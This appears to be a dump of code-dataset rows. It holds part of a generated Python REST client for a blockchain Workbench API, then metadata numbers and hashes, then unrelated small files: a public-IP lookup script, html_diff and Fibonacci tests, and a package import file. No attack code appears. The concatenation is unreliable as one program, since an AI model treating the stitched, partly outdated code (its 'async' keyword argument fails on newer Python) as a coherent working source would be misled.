contract implementations. Non-Workbench administrators get all smart contract implementations for which they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_codes_get_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int ledger_id: The index of the chain type :param int top: The maximum number of items to return :param int skip: The number of items to skip before returning :return: ContractCodeList If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'ledger_id', 'top', 'skip'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method contract_codes_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `contract_codes_get`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] if 'ledger_id' in params: query_params.append(('ledgerId', params['ledger_id'])) # noqa: E501 if 'top' in params: query_params.append(('top', params['top'])) # noqa: E501 if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationID}/contractCode', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ContractCodeList', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def role_assignment_delete(self, application_id, role_assignment_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified role assignment. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignment_delete(application_id, role_assignment_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int role_assignment_id: The id of the role assignment (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.role_assignment_delete_with_http_info(application_id, role_assignment_id, **kwargs) # noqa: E501 else: (data) = self.role_assignment_delete_with_http_info(application_id, role_assignment_id, **kwargs) # noqa: E501 return data def role_assignment_delete_with_http_info(self, application_id, role_assignment_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified role assignment. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignment_delete_with_http_info(application_id, role_assignment_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int role_assignment_id: The id of the role assignment (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'role_assignment_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method role_assignment_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `role_assignment_delete`") # noqa: E501 # verify the required parameter 'role_assignment_id' is set if ('role_assignment_id' not in params or params['role_assignment_id'] is None): raise ValueError("Missing the required parameter `role_assignment_id` when calling `role_assignment_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 if 'role_assignment_id' in params: path_params['roleAssignmentId'] = params['role_assignment_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/roleAssignments/{roleAssignmentId}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def role_assignment_get(self, application_id, role_assignment_id, **kwargs): # noqa: E501 """ # noqa: E501 Get a role assignment of the specified blockchain application matching a specific user role assignment ID. Users who are Workbench administrators get the role assignment. Non-Workbench administrators get the role assignment if they are associated in the application. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignment_get(application_id, role_assignment_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration (required) :param int role_assignment_id: The id of the role assignment (required) :return: RoleAssignment If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.role_assignment_get_with_http_info(application_id, role_assignment_id, **kwargs) # noqa: E501 else: (data) = self.role_assignment_get_with_http_info(application_id, role_assignment_id, **kwargs) # noqa: E501 return data def role_assignment_get_with_http_info(self, application_id, role_assignment_id, **kwargs): # noqa: E501 """ # noqa: E501 Get a role assignment of the specified blockchain application matching a specific user role assignment ID. Users who are Workbench administrators get the role assignment. Non-Workbench administrators get the role assignment if they are associated in the application. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignment_get_with_http_info(application_id, role_assignment_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration (required) :param int role_assignment_id: The id of the role assignment (required) :return: RoleAssignment If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'role_assignment_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method role_assignment_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `role_assignment_get`") # noqa: E501 # verify the required parameter 'role_assignment_id' is set if ('role_assignment_id' not in params or params['role_assignment_id'] is None): raise ValueError("Missing the required parameter `role_assignment_id` when calling `role_assignment_get`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 if 'role_assignment_id' in params: path_params['roleAssignmentId'] = params['role_assignment_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/roleAssignments/{roleAssignmentId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='RoleAssignment', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def role_assignments_get(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all role assignments of the specified blockchain application. Users who are Workbench administrators get all role assignments. Non-Workbench administrators get all their role assignments. Roles are specified in the Workbench application configuration and can be retrieved from GET /applications/{applicationID}. Also, user information can be retrieved from GET /users/{userID}. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignments_get(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration (required) :param int application_role_id: The id of the application role :param int top: The maximum number of entries to return in the result set. :param int skip: The number of entries to skip in the result set. :return: RoleAssignmentList If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.role_assignments_get_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.role_assignments_get_with_http_info(application_id, **kwargs) # noqa: E501 return data def role_assignments_get_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all role assignments of the specified blockchain application. Users who are Workbench administrators get all role assignments. Non-Workbench administrators get all their role assignments. Roles are specified in the Workbench application configuration and can be retrieved from GET /applications/{applicationID}. Also, user information can be retrieved from GET /users/{userID}. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignments_get_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration (required) :param int application_role_id: The id of the application role :param int top: The maximum number of entries to return in the result set. :param int skip: The number of entries to skip in the result set. :return: RoleAssignmentList If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'application_role_id', 'top', 'skip'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method role_assignments_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `role_assignments_get`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] if 'application_role_id' in params: query_params.append(('applicationRoleId', params['application_role_id'])) # noqa: E501 if 'top' in params: query_params.append(('top', params['top'])) # noqa: E501 if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/roleAssignments', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='RoleAssignmentList', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def role_assignments_post(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Creates a user-to-role mapping in the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignments_post(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration. (required) :param RoleAssignmentInput role_assignment: New user-to-role mapping. :return: int If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.role_assignments_post_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.role_assignments_post_with_http_info(application_id, **kwargs) # noqa: E501 return data def role_assignments_post_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Creates a user-to-role mapping in the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.role_assignments_post_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the configuration. (required) :param RoleAssignmentInput role_assignment: New user-to-role mapping. :return: int If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'role_assignment'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method role_assignments_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `role_assignments_post`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'role_assignment' in params: body_params = params['role_assignment'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json-patch+json', 'application/json', 'text/json', 'application/*+json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/roleAssignments', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='int', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def workflow_get(self, workflow_id, **kwargs): # noqa: E501 """ # noqa: E501 Get a workflow matching a specific workflow ID. Users who are Workbench administrators get the workflow. Non-Workbench administrators get the workflow if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.workflow_get(workflow_id, async=True) >>> result = thread.get() :param async bool :param int workflow_id: The id of the workflow (required) :return: Workflow If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.workflow_get_with_http_info(workflow_id, **kwargs) # noqa: E501 else: (data) = self.workflow_get_with_http_info(workflow_id, **kwargs) # noqa: E501 return data def workflow_get_with_http_info(self, workflow_id, **kwargs): # noqa: E501 """ # noqa: E501 Get a workflow matching a specific workflow ID. Users who are Workbench administrators get the workflow. Non-Workbench administrators get the workflow if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.workflow_get_with_http_info(workflow_id, async=True) >>> result = thread.get() :param async bool :param int workflow_id: The id of the workflow (required) :return: Workflow If the method is called asynchronously, returns the request thread. """ all_params = ['workflow_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method workflow_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workflow_id' is set if ('workflow_id' not in params or params['workflow_id'] is None): raise ValueError("Missing the required parameter `workflow_id` when calling `workflow_get`") # noqa: E501 collection_formats = {} path_params = {} if 'workflow_id' in params: path_params['workflowId'] = params['workflow_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/workflows/{workflowId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Workflow', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def workflows_get(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all workflows of the specified blockchain application. Users who are Workbench administrators get all workflows. Non-Workbench administrators get all workflows for which they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.workflows_get(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int top: The maximum number of items to return :param int skip: The number of items to skip before returning :return: WorkflowList If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.workflows_get_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.workflows_get_with_http_info(application_id, **kwargs) # noqa: E501 return data def workflows_get_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all workflows of the specified blockchain application. Users who are Workbench administrators get all workflows. Non-Workbench administrators get all workflows for which they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.workflows_get_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int top: The maximum number of items to return :param int skip: The number of items to skip before returning :return: WorkflowList If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'top', 'skip'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method workflows_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `workflows_get`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] if 'top' in params: query_params.append(('top', params['top'])) # noqa: E501 if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/workflows', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkflowList', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
44.777212
443
0.62718
8,071
70,345
5.254987
0.031719
0.043572
0.021126
0.027161
0.969797
0.964209
0.961828
0.955297
0.952184
0.948648
0
0.014394
0.292871
70,345
1,570
444
44.805732
0.838249
0.046969
0
0.80376
0
0
0.201984
0.051306
0
0
0
0
0
0
null
null
0
0.0047
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
e61f4fedb3223b104d645a9fd3db1d4ccd6e3774
41
py
Python
get_ip.py
catdog13/speed_test
200632cf87b619def8592d179dfb10bda7ab3cae
[ "MIT" ]
null
null
null
get_ip.py
catdog13/speed_test
200632cf87b619def8592d179dfb10bda7ab3cae
[ "MIT" ]
null
null
null
get_ip.py
catdog13/speed_test
200632cf87b619def8592d179dfb10bda7ab3cae
[ "MIT" ]
null
null
null
from ipify import get_ip print(get_ip())
13.666667
24
0.780488
8
41
3.75
0.75
0.333333
0
0
0
0
0
0
0
0
0
0
0.121951
41
2
25
20.5
0.833333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
7
05077052160fa7236c5b1ec90ccf915d5d7a6cdb
8,820
py
Python
test.py
AlexanderLuasan/html_diff
6e84472cd887af11bcc2153b3c9f06ca88b2ae67
[ "MIT" ]
1
2021-06-23T02:17:21.000Z
2021-06-23T02:17:21.000Z
test.py
AlexanderLuasan/html_diff
6e84472cd887af11bcc2153b3c9f06ca88b2ae67
[ "MIT" ]
null
null
null
test.py
AlexanderLuasan/html_diff
6e84472cd887af11bcc2153b3c9f06ca88b2ae67
[ "MIT" ]
1
2021-06-24T18:31:27.000Z
2021-06-24T18:31:27.000Z
from re import split from html_diff import preference_from_json,process_patch import json def test_patch(initial,change,goal,patch,preferences): initial = [i.strip() for i in initial] change = [i.strip() for i in change] goal = [i.strip() for i in goal] new_patch = process_patch(initial,change,patch,preferences) for i in range(new_patch["patch"]["start_a"]+1,new_patch["patch"]["start_a"]+new_patch["patch"]["length_a"]): initial[i]="" initial[new_patch["patch"]["start_a"]] = new_patch["new_text"] print("".join(initial)) print("".join(goal)) if("".join(initial) == "".join(goal)): return True else: return False tests = [] def P_patch_1(preferences): initial = '''<p>the initial text</p>'''.split("\n") change = '''<p>the changed text</p>'''.split("\n") goal = '''<p>the <del>initial</del><ins>changed</ins> text</p>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(P_patch_1) def P_patch_2(preferences): initial = '''<p>the initial text</p>'''.split("\n") change = '''<p>the text</p>'''.split("\n") goal = '''<p>the <del>initial </del>text</p>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(P_patch_2) def P_patch_3(preferences): initial = '''<p>the initial text</p>'''.split("\n") change = '''<p>complete rewrite</p>'''.split("\n") goal = '''<p><del>the initial text</del><ins>complete rewrite</ins></p>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(P_patch_3) def P_patch_4(preferences): initial = '''<p>the initial text</p>'''.split("\n") change = '''<p>the initial text</p>'''.split("\n") goal = '''<p>the initial text</p>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(P_patch_4) def li_patch_1(preferences): initial = '''<ul> <li>item 1</li> <li>item two</li> </ul>'''.split("\n") change = '''<ul> <li>item 1</li> <li>item two</li> <li>item 3</li> </ul>'''.split("\n") goal = '''<ul> <li>item 1</li> <li>item two</li> <li><ins>item 3</ins></li> </ul>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(li_patch_1) def li_patch_2(preferences): initial = '''<ul> <li>item 1</li> <li>item two</li> <li>item 3</li> </ul>'''.split("\n") change = '''<ul> <li>item 1</li> <li>item two</li> </ul>'''.split("\n") goal = '''<ul> <li>item 1</li> <li>item two</li> <li><del>item 3</del></li> </ul>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(li_patch_2) def li_patch_3(preferences): initial = '''<ul> <li>item 1</li> <li>item two</li> <li>item 3</li> </ul>'''.split("\n") change = '''<ul> <li>item 1</li> <li>item two</li> </ul>'''.split("\n") goal = '''<ul> <li>item 1</li> <li>item two</li> <li><del>item 3</del></li> </ul>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(li_patch_3) def li_patch_4(preferences): initial = '''<ul> <li>item 1</li> <li>item two</li> <li>item 3</li> </ul>'''.split("\n") change = '''<ul> <li>item 1</li> <li>new second thing</li> <li>item 3</li> </ul>'''.split("\n") goal = '''<ul> <li>item 1</li> <li><del>item two</del></li> <li><ins>new second thing</ins></li> <li>item 3</li> </ul>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(li_patch_4) def li_patch_5(preferences): initial = '''<ul> <li>item 1</li> <li>item two</li> <li>item 3</li> </ul>'''.split("\n") change = '''<ul> <li>item zero</li> <li>item 1</li> <li>item two</li> <li>item 3</li> <li>item four</li> </ul>'''.split("\n") goal = '''<ul> <li><ins>item zero</ins></li> <li>item 1</li> <li>item two</li> <li>item 3</li> <li><ins>item four</ins></li> </ul>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(li_patch_5) def table_patch_1(preferences): initial = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td>Melvin</td><td>Lara</td></tr> <tr><td>Tristan</td><td>Summers</td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") change = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td>Tristan</td><td>Summers</td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") goal = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td><del>Melvin</del></td><td><del>Lara</del></td></tr> <tr><td>Tristan</td><td>Summers</td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(table_patch_1) def table_patch_2(preferences): initial = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td>Melvin</td><td>Lara</td></tr> <tr><td>Tristan</td><td>Summers</td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") change = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td>Melvin</td><td>Lara</td></tr> <tr><td>Tristan</td><td>Springs</td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") goal = '''<table> <thead> <tr><td>first name</td><td>last name</td></tr> </thead> <tbody> <tr><td>mya</td><td>Greer</td></tr> <tr><td>Melvin</td><td>Lara</td></tr> <tr><td>Tristan</td><td><del>Summers</del><ins>Springs</ins></td></tr> <tr><td>Jose</td><td>Porter</td></tr> <tr><td>Annabelle</td><td>Fleming</td></tr> <tr><td>Marco</td><td>Joseph</td></tr> <tbody> </table>'''.split("\n") patch = {'start_a':0,'start_b':0,'length_a':len(initial),'length_b':len(change)} return test_patch(initial,change,goal,patch,preferences) tests.append(table_patch_2) if __name__ == "__main__": print("testing") split_pref=None with open('pref.json') as f: split_pref=preference_from_json(json.load(f)) table_patch_1(split_pref) for test in tests: print(test.__name__,test(split_pref))
33.923077
113
0.5322
1,290
8,820
3.533333
0.068992
0.035981
0.038175
0.0509
0.828872
0.809346
0.809346
0.777095
0.775121
0.775121
0
0.010748
0.229932
8,820
259
114
34.054054
0.660336
0
0
0.716102
0
0.012712
0.574263
0.16542
0
0
0
0
0
1
0.050847
false
0
0.012712
0
0.118644
0.016949
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
05392ec6ad755357cfada55eb4ba1e35bfab55ae
2,029
py
Python
src/dynamic_programming/python/fibonacci/tests/test_fib.py
djeada/GraphAlgorithms
0961303ec20430f90053a4efb9074185f96dfddc
[ "MIT" ]
2
2021-05-31T13:01:33.000Z
2021-12-20T19:48:18.000Z
src/dynamic_programming/python/fibonacci/tests/test_fib.py
djeada/GraphAlgorithms
0961303ec20430f90053a4efb9074185f96dfddc
[ "MIT" ]
null
null
null
src/dynamic_programming/python/fibonacci/tests/test_fib.py
djeada/GraphAlgorithms
0961303ec20430f90053a4efb9074185f96dfddc
[ "MIT" ]
null
null
null
import unittest import os import sys file_dir = os.path.dirname(os.path.dirname(__file__)) sys.path.append(file_dir + "/src") from fib import fib_basic, fib_memo, fib_tab class TestFibBasic(unittest.TestCase): def test_with_0(self): num = 0 result = 0 self.assertEqual(fib_basic(num), result) def test_with_1(self): num = 1 result = 1 self.assertEqual(fib_basic(num), result) def test_with_2(self): num = 2 result = 1 self.assertEqual(fib_basic(num), result) def test_with_10(self): num = 10 result = 55 self.assertEqual(fib_basic(num), result) def test_with_20(self): num = 20 result = 6765 self.assertEqual(fib_basic(num), result) class TestFibMemo(unittest.TestCase): def test_with_0(self): num = 0 result = 0 self.assertEqual(fib_memo(num), result) def test_with_1(self): num = 1 result = 1 self.assertEqual(fib_memo(num), result) def test_with_2(self): num = 2 result = 1 self.assertEqual(fib_memo(num), result) def test_with_10(self): num = 10 result = 55 self.assertEqual(fib_memo(num), result) def test_with_20(self): num = 20 result = 6765 self.assertEqual(fib_memo(num), result) class TestFibTab(unittest.TestCase): def test_with_0(self): num = 0 result = 0 self.assertEqual(fib_tab(num), result) def test_with_1(self): num = 1 result = 1 self.assertEqual(fib_tab(num), result) def test_with_2(self): num = 2 result = 1 self.assertEqual(fib_tab(num), result) def test_with_10(self): num = 10 result = 55 self.assertEqual(fib_tab(num), result) def test_with_20(self): num = 20 result = 6765 self.assertEqual(fib_tab(num), result) if __name__ == "__main__": unittest.main()
21.357895
53
0.590931
272
2,029
4.180147
0.136029
0.092348
0.145119
0.168865
0.828496
0.828496
0.794195
0.794195
0.794195
0.773087
0
0.04918
0.308526
2,029
94
54
21.585106
0.761226
0
0
0.84507
0
0
0.005914
0
0
0
0
0
0.211268
1
0.211268
false
0
0.056338
0
0.309859
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
9
5536f68e859cdf09970fc80cae93f9165846cef2
107
py
Python
transformer/train/__init__.py
ViktorStagge/transformer
39a331f41cafbfbe5fdf64ffdac5897b4d2aa319
[ "MIT" ]
null
null
null
transformer/train/__init__.py
ViktorStagge/transformer
39a331f41cafbfbe5fdf64ffdac5897b4d2aa319
[ "MIT" ]
null
null
null
transformer/train/__init__.py
ViktorStagge/transformer
39a331f41cafbfbe5fdf64ffdac5897b4d2aa319
[ "MIT" ]
null
null
null
from transformer.train.train import train from transformer.train.generators import NextTokenBatchGenerator
35.666667
64
0.88785
12
107
7.916667
0.5
0.315789
0.421053
0
0
0
0
0
0
0
0
0
0.074766
107
2
65
53.5
0.959596
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
